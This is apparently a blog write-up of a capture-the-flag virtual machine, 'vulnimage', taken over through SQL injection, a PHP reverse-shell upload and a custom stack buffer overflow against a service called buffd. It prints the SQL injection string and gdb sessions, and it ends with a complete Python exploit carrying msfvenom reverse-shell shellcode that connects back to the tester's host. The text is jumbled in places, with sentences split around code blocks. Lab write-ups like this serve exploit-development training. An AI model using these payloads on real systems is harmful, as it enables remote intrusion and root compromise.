Clik here to view.

Another virtual machine hacking challenge! This one is called vulnimage and can be downloaded from http://boot2root.info This one is a little more advanced, requiring the attacker to craft a custom exploit to root the server. Give it a go if you're interested in exploit development.
netdiscover
reports the IP address of the vulnimage server to be 192.168.1.140. We begin by enumerating all services running on the server using onetwopunch.sh
:
While that's running, we fire up a web browser and attempt to access http://192.168.1.140. A web server is found to be running, hosting what appears to be a blog.
# echo 192.168.1.140 > t.txt
# onetwopunch.sh t.txt all
[+] scanning 192.168.1.140 for all ports...
[+] obtaining all open TCP ports using unicornscan...
[+] unicornscan -msf 192.168.1.140:a -l udir/192.168.1.140-tcp.txt
By entering basic SQL queries into the password field, we discover that both forms are vulnerable to SQL injection attacks. We are able to change the contents of a signature by entering blogger
into the username field, the word "Hacked" into the signature field, and the following into the password field:
Clicking on the Submit button prints a message indicating that we have successfully changed the user's signature:
x' or 'x'='x
We launch DirBuster and select the directory-list-2.3-medium.txt
file as input for the scan. While DirBuster is scanning for hidden files and directories, we look at the results generated by onetwopunch.sh
In addition to the web server, we've identified an SSH service, an SMTP service, Samba, MySQL, and one other service running on port 7777. Nmap is unsure of what the service on port 7777 is, so we launch netcat and connect to it:
Host: 192.168.1.140 ()
22 open tcp ssh OpenSSH 5.1p1 Debian 5 (protocol 2.0)
25 open tcp smtp Exim smtpd 4.50
80 open tcp http Apache httpd 2.2.9 ((Debian) PHP|5.2.6-1+lenny9 with Suhosin-Patch)
139 open tcp netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445 open tcp netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306 open tcp mysql MySQL 5.0.51a-24+lenny4
7777 open tcp cbt? OS: Linux 2.6.5 - 2.6.12 Seq Index: 197 IP ID Seq: All zeros
Host: 192.168.1.140 ()
137 open udp netbios-ns
The service appears to prompt the user for input, and simply prints it back out - basically an echo server.
# nc -v 192.168.1.140 7777
192.168.1.140: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.140] 7777 (?) open
HELO
COMMAND:test
RECV: test
Moving back to DirBuster, several directories have been discovered.
repo
and profiles
directories. The repo
directory contains a file buffd.c
. We download this file for later examination. The profiles
directory contains the signature files for each user - exactly what we're looking for. We can now inject our PHP reverse shell and gain a remote shell on the server. First, we enable TamperData on Firefox so we can replace the "sig.txt" extension appended to the signature to ".php". We decide to use /pentest/backdoors/web/webshells/php/php-reverse-shell.php
as our reverse shell. The IP address is updated and the port number changed to 443. We paste the contents of php-reverse-shell.php
into the signature box, enter our SQL injection, and hit Submit.
TamperData intercepts the request, and gives us a chance to change the file extension to "shell.php"
blogger-shell.php
to trigger the reverse shell:
sh-2.05b$ ps aux | grep root
buffd
. We had previously obtained a copy of the code for this program from http://192.168.1.140/repo
. Examining the code, we find a function called vulnerable
which uses strcpy
to copy a user provided string into a buffer of 120 bytes. Since no check is being made to ensure the length of
void vulnerable(char *net_buffer)
{
char local_buffer[120];
strcpy(local_buffer, net_buffer);
return;
}
net_buffer
is less than 120 bytes, this can overflow the buffer and potentially allow us to overwrite the return address. To test this, we need compile our own local copy of buffd.c
and debug it with gdb
to examine the program's behavior. First, we'll assume that the target does not use ASLR, so we'll disable that on Backtrack using the following command:
Next, we compile
# echo 0 > /proc/sys/kernel/randomize_va_space
buffd.c
with gdb support and no stack smashing protection: Finally, we load
# gcc -ggdb -fno-stack-protector buffd.c -o buffd
buffd
into gdb
, and tell gdb
to debug the child process when it forks from the parent: We'll start with a basic python skeleton of our proof of concept called
# gdb ./buffd
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/wargames/vulnimage/buffd...done.
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /root/wargames/vulnimage/buffd
server: waiting for connections...
poc.py
that will attempt to exploit buffd
. We run
#!/usr/bin/env python
import socket
target = "192.168.1.141"
port = 7777
# send a payload of 2000 "A" characters
payload = "\x41" * 2000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# receive server's initial HELO message
print s.recv(1024)
# server expects a COMMAND, send payload
print "[+] sending payload"
s.send(payload + "\r\n")
poc.py
and it crashes the child process. gdb
captures the crash and tells us the EIP was overwritten with 0x41414141. This is good news, we know we can overwrite the EIP, so let's figure out where it is on the stack. We use Metasploit's
server: got connection from 192.168.1.141
[New process 31924]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 31924]
0x41414141 in ?? ()
(gdb)
pattern_create.rb
to generate a string of 2000 characters: The payload variable is set to use the 2000 character string.
# pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
gdb
is restarted, and poc.py
is executed once again. EIP has been overwritten with the address 0x41346541. We enter this value into Metasploit's
(gdb) run
Starting program: /root/wargames/vulnimage/foo/buffd
server: waiting for connections...
server: got connection from 192.168.1.141
[New process 31969]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 31969]
0x41346541 in ?? ()
(gdb)
pattern_offset.rb
and discover that EIP is at offset 132: We can now test this by setting EIP to four "B"s. The payload is updated as follows:
# pattern_offset.rb 41346541
132
Running
payload = "\x41" * 132 + "\x42" * 4
payload += "\x43" * (2000 - len(payload))
poc.py
triggers the crash and gdb
complains that it cannot execute address 0x42424242. We've successfully overwritten EIP with a custom address. Next, we have a look at the contents of the stack:
(gdb) run
Starting program: /root/wargames/vulnimage/foo/buffd
server: waiting for connections...
server: got connection from 192.168.1.141
[New process 31993]
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 31993]
0x42424242 in ?? ()
It looks like the top of the stack is filled with our string of 0x43 characters. We can inject a backdoor somewhere close to the top of the stack and redirect execution of the program to our backdoor and give us remote root access to the server. In this case, we'll jump to address 0xbfffefa8
(gdb) x/20x $esp
0xbfffef30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef70: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
0xbfffef80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefa0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefc0: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
0xbfffefd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeff0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff000: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff010: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
We'll use msfvenom
to generate our shellcode which will be a reverse shell that connects back to a netcat listener on port 4444:
Since we are picking an address on the stack to jump to, we'll pad the top of the stack with NOPs so that if we hit the NOP sled, we'll slide down to our shellcode. Our updated
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.141 LPORT=4444 -b "\x00\x0a\x0d"
[*] x86/shikata_ga_nai succeeded with size 98 (iteration=1)
buf =
"\xbb\x2a\xe6\x33\x15\xda\xd6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x12\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\xe2\xdf\xd7" +
"\xe8\xe2\xfc\x4b\x4c\x5e\x68\x6e\xdb\x81\xdc\x08\x16\xc1" +
"\x47\x8b\xc0\x02\xdf\x32\x9c\xe5\x77\x24\xc2\x8f\xd4\x2c" +
"\xea\x1e\x8a\x39\xeb\xe2\x40\x5c\xb4\x29\x14\xf9\xc3\x6b" +
"\xa4\xc5\x06\x0b\x8d\x40\x60\x5c\x65\x9c\xbd\x2e\x1d\x8a" +
"\xee\xb2\xb4\x24\x78\xd1\x16\xea\xf3\xf7\x26\x07\xc9\x78"
poc.py
looks like this: We're still sending 132 bytes of "A"s, followed by the return address pointing somewhere at the top of the stack. This is followed by a NOP sled of 200 bytes, which is then followed by our shellcode. As long as the return address falls somewhere in the 200 byte NOP sled, our shellcode should get executed.
#!/usr/bin/env python
import socket
target = "192.168.1.141"
port = 7777
shellcode = (
"\xbb\x2a\xe6\x33\x15\xda\xd6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x12\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\xe2\xdf\xd7" +
"\xe8\xe2\xfc\x4b\x4c\x5e\x68\x6e\xdb\x81\xdc\x08\x16\xc1" +
"\x47\x8b\xc0\x02\xdf\x32\x9c\xe5\x77\x24\xc2\x8f\xd4\x2c" +
"\xea\x1e\x8a\x39\xeb\xe2\x40\x5c\xb4\x29\x14\xf9\xc3\x6b" +
"\xa4\xc5\x06\x0b\x8d\x40\x60\x5c\x65\x9c\xbd\x2e\x1d\x8a" +
"\xee\xb2\xb4\x24\x78\xd1\x16\xea\xf3\xf7\x26\x07\xc9\x78"
)
payload = "\x41" * 132 + "\xa8\xef\xff\xbf" + "\x90" * 200 + shellcode
payload += "\x43" * (2000 - len(payload))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
print s.recv(1024)
print "[+] sending payload"
s.send(payload + "\r\n")
To test it, we setup a netcat listener on port 4444, restart gdb
, and execute poc.py
once again.
Although the exploit works on our machine, it fails against the server. In order to figure out what's going on, we need debug the instance running on the server itself. We cannot attach gdb
to the buffd
process as we do not have the same privileges as the process. We also cannot execute /usr/local/sbin/buffd
on the server as it will attempt to bind to port 7777 which is already being used by the current buffd
process.
The solution is to copy /usr/local/sbin/buffd
to /var/www/profiles
and transfer it to our machine using wget
. The program is then modified using hexedit
to change the listening port from 7777 to 7778:
/var/www/
directory, and transferred back to the vulnimage server using wget
once again. We can run this modified copy of buffd
as our www-data user: Our exploit is modified to connect to port 7778 on the target and we execute it again and see what
sh-2.05b$ wget http://192.168.1.141/buffd
--10:49:04-- http://192.168.1.141/buffd
=> `buffd'
Connecting to 192.168.1.141:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,349 [text/plain]
0K .......... 100% 1.29 MB/s
10:49:04 (1.29 MB/s) - `buffd' saved [10349/10349]
sh-2.05b$ chmod 755 buffd
sh-2.05b$ gdb ./buffd
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /tmp/buffd
gdb
prints out: It looks like EIP is being overwritten with 0x41414141 and not the address that we had previously selected. This indicates that the offset EIP is in is different on the server. Additionally, the addresses on the stack are different from the ones on our machine.
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3905]
0x41414141 in ?? ()
(gdb) x/20x $esp
0xbffff400: 0x41414141 0xbfffefa8 0x90909090 0x90909090
0xbffff410: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff420: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff430: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff440: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
0xbffff450: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff460: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff470: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff480: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
To fix the exploit, we need to repeat the process used earlier to identify the offset of EIP. pattern_create.rb
was used to generate 2000 characters and sent as the input to the program. The address found in EIP was then identified by pattern_offset.rb
as position 124. Additionally, we select a new address on the stack to redirect execution to, in this case, 0xbffff488. The payload
now looks like this:
We run
payload = "\x41" * 124 + "\x88\xf4\xff\xbf" + "\x90" * 200 + shellcode
payload += "\x43" * (2000 - len(payload))
poc.py
once again, and this time, we receive a connection on our netcat listener: poc.py
is updated to connect to port 7777 and the exploit is executed: poc.py
is as follows: I'm sure there are other ways to hack into this server, but writing your own custom exploit just feels a lot more rewarding.
#!/usr/bin/env python
import socket
target = "192.168.1.140"
port = 7777
shellcode = (
"\xbb\x2a\xe6\x33\x15\xda\xd6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x12\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\xe2\xdf\xd7" +
"\xe8\xe2\xfc\x4b\x4c\x5e\x68\x6e\xdb\x81\xdc\x08\x16\xc1" +
"\x47\x8b\xc0\x02\xdf\x32\x9c\xe5\x77\x24\xc2\x8f\xd4\x2c" +
"\xea\x1e\x8a\x39\xeb\xe2\x40\x5c\xb4\x29\x14\xf9\xc3\x6b" +
"\xa4\xc5\x06\x0b\x8d\x40\x60\x5c\x65\x9c\xbd\x2e\x1d\x8a" +
"\xee\xb2\xb4\x24\x78\xd1\x16\xea\xf3\xf7\x26\x07\xc9\x78"
)
payload = "\x41" * 124 + "\x88\xf4\xff\xbf" + "\x90" * 200 + shellcode
payload += "\x43" * (2000 - len(payload))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
print s.recv(1024)
print "[+] sending payload"
s.send(payload + "\r\n")